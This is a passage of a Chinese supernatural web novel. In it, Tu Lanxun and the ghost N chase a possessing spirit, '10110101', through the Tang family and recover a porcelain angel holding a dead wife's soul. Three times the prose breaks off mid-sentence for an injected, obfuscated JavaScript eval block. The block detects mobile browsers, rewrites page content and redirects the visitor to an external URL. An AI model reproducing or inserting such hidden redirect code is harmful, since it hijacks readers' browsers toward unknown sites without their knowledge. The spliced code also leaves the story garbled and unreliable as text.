到福市还有五个小时,到米城还有七个小时,涂蓝埙放松下来,准备在火车上睡一觉,谁知她坐得靠外——这样能防止有人蹭坐到这边来——某个冒失鬼乘客走过,正巧火车一颠,他保温杯没盖盖子,茶水洒了涂蓝埙一腿,幸亏不算太烫。 “没事。”涂蓝埙站起来,一个眼神打向上铺,嘱咐汤伟宁盯着她的包,“我去洗手台处理一下就好。” 她逆着人流走到车厢连接处,隔壁车厢是硬座,一个背对她的乘客戴了顶可笑的毛线帽,涂蓝埙忍不住看了两眼,用打湿的洗脸巾擦过裤子,顶着一腿凉风往回走。 得快一点,否则汤伟宁视角受限,谁知会不会有小偷小摸的过来。 车窗外的夜色微微发亮,他们已经驶出城市范围,这辆列车仿佛将涂蓝埙两人一鬼带出未知的漩涡,暂时藏进了不知名的荒郊和黑暗。 涂蓝埙走出去没几步,隔壁硬座车厢那个怪帽子就转过头,目光直直盯着她的背影。 汤鹏安调整了下姿势,表情有些微妙,低头看向刚用前置摄像头偷拍的、涂蓝埙的照片。 ——这个女生是谁?为什么他逃跑的亲哥会和她在一起? ——难道她也知道10110101的事情了? # 涂蓝埙原本应该一夜无眠,汤伟宁主动说他守夜,但N坐在一旁,她根本没办法躺下去。 可当半夜经过隧道,外面的光影将她晃醒时,她发现自己躺在床上,而N坐在卧铺对面的小椅子上。 汤伟宁正从上铺往下爬,对她笑笑:“还有半小时就到福市了,我去联系乘务员交钱补票。” 涂蓝埙打起精神,但困意一阵阵上涌,嘱咐N看着铺位,她又走到列车连接处去洗脸,关掉水龙头,一回身险些撞上汤伟宁。 对方已经穿好了大衣,心情不错的样子,涂蓝埙问:“都好了?” “好了。”汤伟宁答,声音在夜色中很轻。 火车行驶速度已经减慢,涂蓝埙点头:“还有十分钟,快到了,准备下车吧。” 她正打算回去,忽然被汤伟宁拉住,对方吞吞吐吐:“那个……我之前有事没和你说……咱能去餐车说吗。” 餐车在涂蓝埙车厢的另一方向。 涂蓝埙同意了,两人一前一后向前走去,逆着不断掠过的光影,穿梭在酣睡的乘客中,忽而有人外放短视频的响动从某处逸出,引起几声不耐的咂嘴。 走到下一车厢时,她的脚步顿了下,微微滞涩,在原地站了一下才迈开步子。 汤伟宁:“你怎么了?” 涂蓝埙笑:“没事,半夜胃里不太舒服。” 餐车空旷,一排排座椅黑魆魆的,汤伟宁终于停下来,转过身,望向涂蓝埙,他的半张脸埋在阴影中。 涂蓝埙:“神神秘秘的,你到底想说什么呀?” “汤鹏安。” 32. 32 “汤伟宁”愣了下,旋即露出个笑:“你在说什么啊。” 涂蓝埙毫不客气,声音是软的,但眼神冰冷:“别装了,你不是汤伟宁。” 她向侧后方一抬头,监控摄像头的红点是灭的,汤鹏安笑了,“小姐,聪明不到头是会害人的。” 汤鹏安身上散发出缕缕黑气,整张脸皮苍白得像一张丧布,原本清俊的面容阴气森森,他向前踏了一步,“要怪,就怪你非得戳破我,怪你来了这个车厢吧……” 涂蓝埙的小腿微微颤抖,但底气镇定,道:“你到底为什么做那样的事?” 她没点明具体是什么事,汤鹏安却并不上钩,反而冷笑:“这和你没关系了……” 他看涂蓝埙的眼神就像看垃圾,目光里甚至没有坏人常有的邪念,只是很平淡的厌恶,以及计划被干扰的烦躁。汤鹏安一只手抓过来,如同划破车厢中的黑雾。 “嘭——” 空气中打出看不见的一拳,正中汤鹏安的颊侧,他的身体狠狠撞上餐车柜台,发出铁塔坠地般的坚硬声。 紧接着又是一拳,汤鹏安的脖子扭了过去,拗成一个任何人都会得颈椎病的角度,额角重重磕在地上,流下一道黑血,他双肩耸动,埋着头,怪异地笑出声来,“呵呵呵呵……” 但是下一秒,列车刹停,汤鹏安袖中甩出一个不知什么东西,直击涂蓝埙身旁,一阵血雾在她面前爆开,腥臭味扑面而来。 汤鹏安纵身跃起,就在火车门开启的瞬间,从夹缝里冲了出去,把站台上的乘警吓了一跳。他消失在廊道入口。 涂蓝埙怔在原地,双眼睁大一眨不眨,连根手指都动弹不了。那些腥臭的血雾液滴悬停着,密密麻麻排列在空气中,但被一股看不见的保护罩挡住,没有侵入她的皮肤和发丝。 N终于在刚刚汤鹏安倒地的位置现身,满面冷色,一挥手,那些血滴如雨坠地,接触地面的刹那冒泡蒸发,最终餐车车厢内只剩浓烈的腥臭,引得从旁门登车的乘客直捂鼻子,“嚯,谁拉餐车里了?!” 涂蓝埙仍凝滞在原地,连目光都移动不了分毫,整个人就像夜间公路上被车大灯吓到僵死的野生动物。 她的意识是清明的,甚至于说,没有过多害怕,可就像是思维和身体被切断联系一样,压根动弹不得。 N走到涂蓝埙身前,曲起食指,轻轻敲了下她的额心,涂蓝埙这才被解穴似的倒退两步,重新获得呼吸。 “那……那是什么……刚才那不是‘汤鹏安’吧……”她听见自己问。 N答:“你倒敏锐,汤鹏安没那么大本事,对你动手的是个积年的老鬼,躲在汤鹏安的身体里。” 他顿了下,身上草木气息涌动,笼罩涂蓝埙全身,很快压下那股不祥的腥臭,“至于他扔的那个东西。应该是人肉炼化的,我们常叫‘活人棺’,顾名思义,就是让人被死气慑住,全身惊厥紧绷,如同被封入棺材,严重者还会窒息而死,那就是吓到连呼吸都丢了。” 人肉炼化?涂蓝埙脑中霎时出现一个老道对着丹炉炼丹的电视剧情节。 N:“你想多了,不是真的用火炼,是用阴气炼。” “那人肉呢?总不能是去停尸间割一块尸体的肉吧。” N淡笑:“怎么可能,得是活人的肉,死人没用。” 涂蓝埙的脸色微变,这么说来,他们还去害别的人了? N在空气中嗅了嗅,说:“汤鹏安——10110101的东西是用胎儿炼的,比如流产的滑胎,打掉但没马上失去生命活性的胎体,这一类将死未死的胎儿组织对汤鹏安来说不是难事。” 涂蓝埙有点想吐,整理好表情,忽然想到一个问题,既然10110101在汤鹏安身体里,那为什么之前带走白超鬼魂寄生物的,是梁微? “可能是被利用了?”她只有这种解释方法。 汤鹏安已经在福市下车,列车再次缓缓发动,涂蓝埙往卧铺车厢走去,刚好遇到焦急的汤伟宁,“哎,找你半天了,我还以为你提前下车了呢。” 眼前的汤伟宁是真的,涂蓝埙笑了笑:“怎么会,不过有件事告诉你,汤鹏安跟过来了,10110101就在他的身体里。” 汤伟宁的脸“唰”一下白了,磕巴起来,“怎么,怎么会呢,那他跟来是要……?” “总之没安好心,你注意别离开我太远。”涂蓝埙说。 其实是别离N太远。汤伟宁点头如啄米,复而爬回自己的上铺。涂蓝埙坐在铺位上发呆,趁着手机信号好,给电脑女鬼发消息:姐妹,你查查梁微的手机,看看她人在哪。 如果汤鹏安这次跟上来不是因为追踪到汤伟宁,那就是和汤伟宁一行同一目的:梁微。只是刚好撞上了。 电脑女鬼回得很快:梁微还在米城,社交账号是电脑登录,IP地址在富强区荷花小区一期3栋201。 她又补了句:没拍到前置摄像头的照片,她用胶带把摄像头都堵住了。 涂蓝埙仍然没放松下来,拉住路过的乘务员,问道:“打扰一下,请问这趟车除了我们之外,还有人补票吗?” 乘务员有点警惕:“您问这个干嘛?” 涂蓝埙苦笑:“我的票是旅行社买的,同一个团出来的还有别人,一并都给我们买错站了。但是吧,没加联系方式联系不上,现在就剩我俩了,怕落单,问问别人补没补。” 乘务员这才缓和一些,翻看册子,答:“没有,就你俩补票了。” 那么汤鹏安是真的下车了,他身体里那个东西打不过N,多半也不敢继续同乘。 N哼笑,看了眼涂蓝埙,“你倒是机灵。不如说说,怎么看出来汤鹏安身份的。” 涂蓝埙将头靠在厢壁上,嘴唇不动。从牙缝里说:“闻出来的。” 她真没骗人,就是闻出来的。 不知道是不是和N待久了,她也有了毛病,那就是对别人的气息非常敏感。 之前涂蓝埙就是很不爱用香水的类型,因为任何香调对她来说都太浓了,而且的确能够分辨出不同人身上的气味,但那一般建立在长时间相处的基础上。 但自从认识了N,涂蓝埙的嗅觉越发敏锐,譬如新买的床垫子是蓬松的味道,货架是洁净的合金味道,被N新拖过的地砖是清洁剂混合草木香的气息。 而且,她对灵体的气味敏锐度,比对物件和人的还要高。 N能嗅出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15269742|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的死气尸气她没概念,但不同灵体在她鼻子里,也有不同的味道。 N是草木味就不用说了,电脑女鬼是用久了的键盘味道,刘茂盛是泥土和水草的味道,实验小学的棕马尾教师鬼是血腥和塑胶跑道混合的味道。 而刚刚的汤鹏安,虽然是活人,但他模糊的气味里藏着一种很奇怪的复合气息,像是掉漆的老木头、阳光和橡胶的混合体。 所以涂蓝埙一照面就知道,那不是汤伟宁,只能是汤鹏安。 N意味不明地笑了声,不置可否,只说:“别高兴太早,在这个世界上能闻到别人闻不到的东西……不是好事。” 米城还有两小时到达,时间过得很快,涂蓝埙和汤伟宁提着行李出站,米城是个小城市,虽然是凌晨四点多,站外围满拉客的司机。 “城西,城西走不走,二十一位面包车!” “老住宅区还差一个座,交钱就发车啊!” “中巴车去雀县,有到雀县的吗?” 涂蓝埙把之前查过的攻略念给汤伟宁——主要是念给N听:“雀县哎,网上说米城雀县的酒糟糯米点心特别好吃,是百年特产呢。” 汤伟宁无奈地苦笑:“小姐,这都什么时候了,您还惦记点心。我在淘宝店给您买一套行吗。” 两人一鬼拖拖拉拉出站,在不锈钢曲道口排上出租车,司机问去哪,涂蓝埙说:“往城西开。” 城西就是富强区,是梁微家在的区域,涂蓝埙上车才定酒店,开了十五分钟,他们来到城西一家民宿楼下。 “不住酒店啊?我看这有个三星级。”汤伟宁说着就要掏钱,被涂蓝埙制止:“酒店不方便。” 汤伟宁想问哪不方便了,但没敢,其实酒店不方便这件事是N说的,他的原话是:“不去酒店,鬼多,眼杂,吵。” 和民宿老板通过电话,一行人在楼梯间外的违规空调外机的边缘找到一把钥匙,钥匙不是开民宿门的,是开民宿隔三层楼上邻居家的外置牛奶箱的,牛奶箱里藏着真正的民宿钥匙。 据说牛奶箱那户住宅是老板的另一套民宿。 涂蓝埙很佩服老板的脑洞,有这思路去开密室逃脱说不定比民宿赚钱呢。 坐在公主床上,涂蓝埙平淡玩手机,汤伟宁钻进卫生间洗漱,N坐在梦幻色海洋球池里,双手抱膝,阴森凝视氢气球垂下的丝带。 他烦躁:“滚……” 涂蓝埙疑惑:“你在和谁讲话。” N抬头盯着天花板下的氢气球们,约有五六个,他死盯着的是独角兽和圆形毛绒黑球之间的空隙。 室内没有风,但毛绒黑球自动开始旋转,露出半张青白色脸皮,那竟然是一张人脸。 只有一颗头的鬼从天花板俯瞰下来,浮肿的眼皮眯起,冲涂蓝埙咧嘴一笑,露出一口黄牙。 下一秒,N一抬手,一道透明气流击中人头鬼,对方惨叫着消失了。 N开始闹脾气,直接往海洋球池里一躺,双腿并叠侧卧背对涂蓝埙,他真的很阴晴不定,“烦死了,到处都是!” 还没等涂蓝埙想好怎么安慰他,浴室里忽然传来汤伟宁的惨叫声。 “啊啊啊!小姐!救命啊!” 33. 33 安静的一夜过去,甚至有点过于安静了。 涂蓝埙躺在最好的公主床上,汤伟宁则住滑梯上的一张小床,N蹲在海洋球池里不肯动弹。万籁俱寂,就连居民楼夜半常见的冲水声咳嗽声都没有。 就好像被什么东西吓跑了一样。 一早起来,电脑女鬼发了梁微的消息来,梁微今早点了生煎粥铺的外卖,看来是不打算出门。 而10110101和汤鹏安的账号被堵死,应该是手机关机,找不到行踪。 汤伟宁出钱租了辆车,两人一鬼顺便在附近早餐店吃饭,她选了靠近店门的座位,又在汤伟宁端来一盘葱油饼时,另要了一杯豆浆一袋糖饼放进车里。 吃饭的时候,涂蓝埙再度给汤伟宁做科普教育:这次来找梁微,主要是找她拿走的小光学校里的东西——和白超有关,找到它没准就找到白超的魂儿了。 汤伟宁独自消化白超的魂被拘了这件事,涂蓝埙感觉他又想自杀,但没关系,那是后话,在找到白超之前他不会死的。 “大师也跟我说过,只要请到鬼胎,就能和超超小句一家子团聚。”汤伟宁很小声说:“你帮我,是有一个追凶正道的梦想吗。” 涂蓝埙向前,郑重道:“太低级了,我当然是为了钱。” 汤伟宁微惊,旋即下定决心,眼光亮亮看过来,“我也可以给你钱的,只要你抓到那个10110101,把它带到我面前来,还有找到超超,这两件事我都可以给你钱!” “好啊。” 涂蓝埙一直在等的就是这句话。 等吃完回车里,汤伟宁吃了一桌咸早点,想拿个糖饼平衡一下的时候,叫道:“哎,一袋不是五个糖饼吗,怎么只剩三个了?豆浆也不见了。” 涂蓝埙望天:“你记错了吧。” 汤伟宁想不敢忤逆,脸色奇怪,连忙:“哦,是记错了。” 开车来到荷花小区,没费力气就来到梁微家门,她和父母没住在一起,涂蓝埙看一眼汤伟宁,后者上去敲门。 “叩叩叩。” 细碎拖鞋声隔门板响起,猫眼暗了下,没动静,汤伟宁着意出声:“梁微啊,是我,我是大哥。” 门开一道缝,梁微警惕地看过来,但不是看汤伟宁,而是看他身后,涂蓝埙友好道:“我是汤先生请的私家侦探,今天来是有事问您。” 他们到底被放进去,在沙发坐下,梁微连杯水都没端,站得离涂蓝埙很远,恰好将汤伟宁隔在中间,不住打量汤伟宁的胳膊。 汤伟宁一言不发,将袖子挽到最高处,露出肩膊处的一块皮肤,转了转,很光滑,什么都没有。梁微松了口气,捂住嘴巴,倒在沙发里。 “这次来找你主要是一件事……” 涂蓝埙戴着口罩不想多说话,负责沟通的汤伟宁被梁微打断,“不,大哥,你先听我说。” “你知道多少了?你根本不出差也不去福市,都是借口……”梁微抱起一只沙发垫子,神色恐怖,“我们家有问题!” 汤伟宁愣了下,“所以你才跑回米城。” 他仿佛抓到救命稻草,“小光学校储物柜里的东西不是你拿走的吗,在这吗?拿出来给我!” 梁微费力思考两秒钟,脸上残余迷茫,摇头:“我给扔了。” 汤伟宁站起来,低声咆哮:“扔哪了,什么时候扔的!” 梁微却好像做梦一样,说话前后不搭,哧哧笑了声,“谁在乎呢……现在一切都不对劲,全完了,都回不来了……就剩我一个喽……” “你说话啊,你把她扔哪去了!” 梁微的眼神忽然变了下,闪烁着,看向汤伟宁:“几个月前,我已经把那包东西扔垃圾桶了,我自己都不记得是哪个垃圾桶,开车沿路很随机的一只。” 估计早被清理了,连去垃圾处理站都未必能找到,汤伟宁颓然坐回去,双手扣紧又放松,不知想掐谁的脖子。 梁微喘息两声,继续说道:“不过,第二天早上,那东西又出现在我家里,就放在我的床头,枕头边上,一睁眼就滑向我的脸,你说奇怪不奇怪,哈哈哈……” 她伸出三根手指头,“我扔了三遍,根本没用。” 涂蓝埙接替汤伟宁问道:“具体是什么东西?” 梁微目露恐惧,这次不用回忆,直接回答:“是个白瓷烧的天使塑像,迷你瓶可乐那么高。” 汤伟宁活过来了,现场下载一个肥鸟软件,打开自己的肥鸟空间,找出很古早的一篇说说,“是这个吗?” 照片是十年前流行的阿宝色滤镜,背景是个壁炉,很陌生,但远角的后门花园格局眼熟,是白家的那栋别墅。 “是这个。” 汤伟宁的眼泪都快下来了,“那是我和超超结婚那年买的。”他紧接着问:“既然没丢掉,那现在在哪呢?” “在鹿城的家里,尚景府城。”梁微无力道。 所以他们来米城,来错了? 路上已经证明,汤鹏安的问题非常大,而梁微看着像正常人,连N都没说她身上有不属于活人的气。 汤鹏安问出最后一个问题:“我之前发朋友圈的时候,你为什么主动来问我?” 梁微盯住他,很快移开目光,不想看这张面容,“我就是想提醒你,离……离汤鹏安远一点。他没你想的那么好。” “不过你好像已经知道了。”梁微苦笑,“小句号的死和他有关系,白超的失踪……应该也一样。不管你信不信,这里面真的没有我参与,我已经在起草离婚协议了。” 涂蓝埙好奇:“那你还回鹿城吗?” “不回了。”梁微摇头,“我准备在米城找一份工作。之前隐瞒大哥的事,是我不对。” 她垂下眼睛,“就当我那时是个自私的母亲吧。” # 涂蓝埙一行人毫无收获地离开荷花小区,唯一知道的事,承载白超魂魄的白瓷天使塑像,还远在汤鹏安的家里。 “要不要提醒梁微小心一点?鹏安可能会过去。”汤伟宁收拾着行李,还有心思想这个。 “不用。”涂蓝埙似笑非笑,迎上对方目光,“因为她和你一样,都有所隐瞒。” 汤伟宁缩了一下,没有接话,两人背好包,直接下楼打上一辆出租车,汤伟宁拿出几张现金,“师傅,开去新火车站,越快越好。” 最近的一班高铁在半小时后发车,狼狈进站后还剩十三分钟,涂蓝埙直奔米城特产店,买了两件礼盒装的酒酿糯米点心,红盒子红丝绳很喜庆,他们几乎是冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276377|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刺检票上了站台。 没办法,打的就是时间差,只要能在汤鹏安反应过来之前先回到鹿城,就是胜利。 “如果他家里没有呢?如果他把超超带出来了呢?”汤伟宁很焦虑。 涂蓝埙没什么所谓,“那就直接堵他。” 到达鹿城是三小时后,一行人直奔尚景府城,汤鹏安家的门轻而易举被打开,扑面而来一股森冷的气息。 家里处处都有医生的风格,物品陈列整齐,格调以素色为主,汤伟宁见涂蓝埙望向旁边空气,也跟着看过去,随后赶紧收回目光。 “有吗?”她用视线问。 “被带走了。”N饶有兴致地说。 他迈开长腿,站在一只书架前面,那是天使塑像曾经被放置的地方。 “这有两个鬼魂的味道。”N转了一圈,“都很淡,都是因为被隔绝在壳子里,只一个是被迫进塑像,一个是主动附于真人。” 涂蓝埙制订一个相当简单但严密的计划,要做的只有等,但在等的过程中,她向便利店的两员大将发布任务。 ——对电脑女鬼:搜查鹿城第二医院的电脑系统,尤其是医学废料处理记录和麻醉(、)剂出入库档案这一块,结合医生考勤搜查,力图找出汤鹏安或梁微违规取离流产胎儿和偷盗麻醉(、)剂的证据。 褪黑素不足以让白小句睡到醒不过来,但麻醉尤其是气体麻醉药品可以。 白小句说过,睡梦中感觉“爸爸抱了自己一下”。 ——对N则简洁得多,只要看见汤鹏安,揍他,直到把10110101从他身体里揍出来。价钱尽管开,汤伟宁来付。 涂蓝埙一边处理网店订单,一边对汤伟宁说:“这次要是还搞不赢,我就不管了,你直接去报案加自首吧。” 可惜她不光乌鸦嘴,还食言了,算时间汤鹏安肯定已经回了鹿城,但他一直没回家,也没去单位。 这个人就像失踪了,手机关机,谁都找不到他。只能通过网路确认,他没丧病到对准前妻下手,梁微还活着。 汤伟宁沮丧地跺了下地板,瘫坐在汤鹏安家的书柜前,脑袋往后一枕,恰好被一本硬质书磕了后脑勺,“哎呦!” 那本书掉出来,是一本精装版的杂志合集,滑出一枚书签,是张油墨印的学生证,贴着很青涩的少年照片。 汤氏兄弟别管胆识或心肠如何,皮相总是好的,活脱脱是漫画里走出来的美少年,但愣头青版。 “是我们中学的学生证。”汤伟宁眉目似哭似笑,“只鹏安有,我俩最后半学期共用一张,那时候也不好意思去补办。” 涂蓝埙随口问道:“你的去哪了?” 汤伟宁扯扯嘴唇,“不太愉快的故事。” 就在焦灼的等待中,涂蓝埙的网店聊天列表闪动,白小句发来消息,是一张拍得很模糊的照片。鬼拍照片总是发花,可能是磁场干扰的缘故。 照片里,白小句的小胖手托着那只金镯子,她说:“姐姐你看,镯子在动耶,是不是妈妈想我了?” 旁边,N皱了下眉头,隔着屏幕感觉到什么,“死气变淡了,白超的情况不对。” “怎么说?” “可能是汤鹏安在做什么,她的魂体快消失了。” 34. 34 事情一筹莫展,鹿城茫茫,上哪去找一个汤鹏安呢。 他还关了手机,连网路都切断了,显然是多有防备。 N手中出现那只黑色背包,颇有分量,他伸手进去掏,涂蓝埙生怕他再拿出个骷髅头,但所幸只是一条链子,拴着块圆溜溜的翻盖怀表。 怀表年头很长,又重又厚的一只,钢壳布满细密的划痕,他打开盖子,涂蓝埙吓了一跳,那表针静止在罗马数字XII,表面是水晶材质,微微莹润圆凸,像只眼睛似的自动乱转,寻找锁定目标。 涂蓝埙向后退半步,说:“这得是上世纪初的物件了吧。” N笑了:“有眼力。哎,你看这表没反应?” 涂蓝埙:“能有什么反应?就是怪渗人的。” 这是一只被诡异附身的怀表,只有一个功能,寻人。 不过它寻的“人”不是“人”,而是鬼。 N难得耐心解释道:“这表的功能是让人看见鬼的世界,也就是阴间,鬼嘛,自然就是阴间的人。” 毫无疑问,这是一样游戏道具,之前没拿出来是因为只有活人才适合使用它,而且消耗反噬巨大。 “拿去给汤伟宁试试吧。告诉他,提着怀表链子,想着和10110101有关的线索,用直觉感受四方。” 涂蓝埙还没接过,“需要闭眼么。” “都行。”N将怀表放在茶几上。汤伟宁瞬间瞪大眼睛,“怎么……忽然有块……表?” 涂蓝埙没和他解释,就把那两句使用方法说一遍,汤伟宁倒是迷信这些怪力乱神的东西,颤巍巍走过去,弯腰拿起:“小姐……您是诡异吧……或者您身边有诡异吧……” 他的声音戛然而止,就在拎起表链的瞬间,汤伟宁的两只眼睛看向不同方向,场面有些滑稽,下一秒,怀表被他扔出去,他尖叫:“啊!我看见了!” 涂蓝埙紧着问:“你看到10110101了?” 汤伟宁摇头,双腿虚软地坐在地上,“我看见我自己眼眶的内部了,有血管,红亮亮的,还有筋脉在动!这种感觉就像回到了娘胎里。” 他清醒过来,知道那老怀表来历不凡,讪讪爬过去捡起来,还给涂蓝埙。N在旁边说:“他不行,但也不奇怪,这块表很挑使用者的体质。” 之前游戏里,这块表和玩家主控的匹配概率就很低,它是个危险物品,匹配不上的强行拿在手里会生命力流失、理智值降低。而少数能匹配上的倒不会减数值,只是…… 只是VR头盔里的玩家真人容易受到精神伤害,轻则当天睡不好觉,重则虚弱一段时间以至于去看医生。 涂蓝埙却没回答N。 在拿到怀表的第一秒,她就沉默了,五指不受控制地攥紧表身,水晶表盘飞快旋转起来,表针不断在原地颤抖,但涂蓝埙的手却纹丝不动。 N冷冷微笑:“有意思,第一次看它这么活跃。得提表链才能启动。” 涂蓝埙下意识手指勾起表链,表身自动落坠,在她身前做起钟摆运动,N问:“你看到什么了?” “很黑。”涂蓝埙睁着眼,但双目无聚焦,此刻她视野中的世界是一片黑茫,所有家具、墙壁甚至住宅楼板的轮廓都消失,只剩无穷虚空。 N的声音好像从远处传来:“思考10110101,它的任何信息都行,名字、社交账号头像、说过的话、在汤鹏安身体里时的眼神……” 涂蓝埙一一照做,她的头脑中好像有蠕虫在抽动,不痛但很怪异,当蠕虫抽动到将破脑而出时,一股神秘力量击中她的眼睛,她甚至感觉颅骨在把眼球往里嘬。 出现了,一个光点,如同很遥远的烛火,悬浮跳跃着。 随之而来的还有更多光点,都比第一个光点更暗也更远,涂蓝埙失去距离感,但有种它们在城市之外的县郊、甚至另一个城市的感觉,再远就看不见了。 她就像站在一片黑茫而诡异的“星空”中间,只是闪烁的不是星星,而是死人灵堂的烛光,万千点。 它们看不见她,这是一场单方面的窥视和遥望,但正如你看不清某颗星星的表面是否有人也在看你那样,涂蓝埙也不知那些背对她烛火,是否有一个会倏然转身向她。 或许她在看灵体的时候,灵体也在看她。 N听了她唇中絮絮的描述,很快说道:“感应得这么远倒是稀奇,数量多的话,可能有两种原因——你对10110101的认知模糊,有许多鬼都符合你的认知,而且你的直觉也就是搜索引擎太敏锐,就像一张网眼开得太细的网。” 最亮的那一枚烛火,最可能是10110101。 涂蓝埙在N的指示下往外走,她并不辨方向,但奇异的是,当怀表在她手下改作圆周运动时,那些烛火如被泪朦住似的,变得模糊,而她获得了一种不关联视力的方向感。 周围仍是黑色,无天无地无高无低,可她就是能准确地停在入户门前,等汤伟宁帮她打开门,再迈过门槛,踏下楼梯。 只是每移动一段距离,都有东西在扯动她脑内的组织,不痛,但存在一种牵拉感。 仿佛负责方向判断的部位被一根细线牵住,下一步需要往哪走,它的力就转向何方。 就这样,涂蓝埙一路下楼登车,汤伟宁按照她指定的方向开车,过了不知多久,原本小如碎米粒的烛火,已经在涂蓝埙不远处摇曳如豆。到了。 “可以了,松手。”N的声音冷彻人肺腑。 涂蓝埙恢复正常视野,发现自己在一家青少年足球俱乐部门口。 她和N并排坐在车后座,N的手朝她伸了一下,又极快地缩回去,撤回一个扶人的动作,“你不难受?不想晕倒?没有头痛的感觉?” “有点困算吗。”涂蓝埙打了个呵欠。 N定定看了涂蓝埙两秒,转回头,两人一鬼下车,汤伟宁还神神秘秘跟在她旁边:“小姐,刚刚我听见有声音跟我说话……” 涂蓝埙真的有点疲倦,如果这一趟顺利,他待会还能听见他死去的妻子说话。 “女士您好,请登记入内。”负责人的门卫小哥拦截,他疑惑:“哎,汤先生?您什么时候出来的?” N忽然出现在小哥身后,朝他吹了口气,小哥眼神迷蒙坐回门亭里,自动打开行人门。 两人一鬼跑进去,按照刚才的方向直奔训练 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15284315|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 区,涂蓝埙问过N,为什么进了足球俱乐部不能继续使用怀表,N是这么说的:“烛火远的时候能随便看,但假如贴着放在你眼球一毫米外呢?” ——哪怕不烫死,也直接照瞎了。 N时不常地多看两眼涂蓝埙,怕她忽然晕倒,毕竟转怀表算是活人的思维意识进入阴间,很危险,用老话说是容易遭阴气,说得科学一点——信号类型不同不融,属于跨频。 可惜涂蓝埙身体倍棒,被小凉风一吹,连刚才的困意都散了。 他们来到训练场,这家足球俱乐部条件不错,绿茵短而茂密,现在是男队训练,男孩们穿着长袜和球服挥洒汗水,只是其中没有汤光明。 奇怪,汤鹏安来俱乐部不应该是来找儿子的吗。 “我闻到白超的死气了。”N说,他一抬头,旁边矮楼基地是俱乐部的功能区。 涂蓝埙奔跑起来,拐过两道楼梯就是二楼男更衣区,汤伟宁一推,从里面锁了,她飞起一脚踹上去,门向后砸开。 汤伟宁惊悚地看了涂蓝埙一眼,似是想不到如此年轻、可爱、像只小黑羊的姑娘竟然这么利落,涂蓝埙没空理他,直接闯进去。 一股灼烧的味道在空气中蔓延。某处更衣柜后,一件包裹着小硬物的棉质T恤正在燃烧,汤伟宁眼尖地看见烧漏的布料下的白瓷,“嗷”一声扑过去,“超超!” 汤鹏安满眼血丝走出来,不顾滚烫,劈手抓起燃烧物就要往窗外扔,汤伟宁和他厮打起来,两个一模一样的人你拳我脚,很快弄得一地狼藉。 涂蓝埙看见有一小小的身影在柜后徘徊,试探问了句,“小光?” 谁知小光怯怯看了汤氏兄弟一眼,竟转身跑出门外,一边哭一边尖叫道:“爸爸别杀我!爸爸别杀我!” N冷笑一声,一小场冒着寒气的冷雨落下,燃烧的T恤坚持了不到十秒钟,就自动熄灭,里面的白瓷天使被燎得有些发黑。 汤鹏安的力量和灵敏度比在火车上差多了,竟没打过文弱但暴怒的汤伟宁,不敌而逃,直接打开窗户,缩身从二楼跳了下去。 若非情形紧张,涂蓝埙真想叹一声,这兄弟俩,跳楼逃跑的思路都一模一样。 “小姐您看看,超超还有救吗?”汤伟宁捧着刚才滚烫、现在冰凉的天使塑像焦急道。 涂蓝埙哪知道,只能看N,N说:“受损不轻,魂还在,带回去再说吧。” 汤伟宁撩起衣襟擦了又擦,还不放心,他眼里闪烁一种涂蓝埙看不懂的光,“刚刚10110101在这吗?” N轻蔑一笑:“在。”他的表情也相当不对劲,“但不在汤鹏安身体里,也不是灵体形态。” ? 那就只能……在汤光明身体里了? 倒是不奇怪,只是小孩子有点可怜,N站在那兀自冷笑,涂蓝埙问汤伟宁:“你问这个干嘛?” 汤伟宁现在对她越来越信服,顿了顿,略带希冀道:“小姐,您说一个人的灵魂,能直接落到另一具躯壳里吗?我说的不是暂时附身,就是完全占据的那种……死而复生?” 涂蓝埙不知如何回答,只看见N无声冷笑,眼神更加讥诮了。 35. 35 汤鹏安逃跑后,涂蓝埙再没精准定位到10110101的烛火,对方可能处于高速移动中。 其实想来,若非他们进门后被哭逃的汤光明打了岔,说不定已经捉住那一人一鬼。 涂蓝埙思绪骤然贯通:“之前持刀尾随汤光明的是汤鹏安啊……” 他为什么要对亲生儿子下手?又想起小光的哭喊,她抬起头:“或许我们之前猜的一直都错了。10110101的惯用容器不是汤鹏安,而是汤光明。” 汤伟宁瑟缩一下,他们一路往下走,正遇到训练结束的少儿足球队,每一个汗津津的孩子都和汤光明差不多大,他不忍道:“鹏安他……想通过杀掉小光,来杀死10110101?” 他脸上的不可置信不似作假,汤鹏安爱子如命,怎么可能呢?说是10110101控制着他去杀小光还差不多。 涂蓝埙:“如果小光已经死了呢?” N转头看她,看了好几秒,微微点头。 汤伟宁想说你在开什么玩笑,刚才小光没跑没哭,不是活生生的? 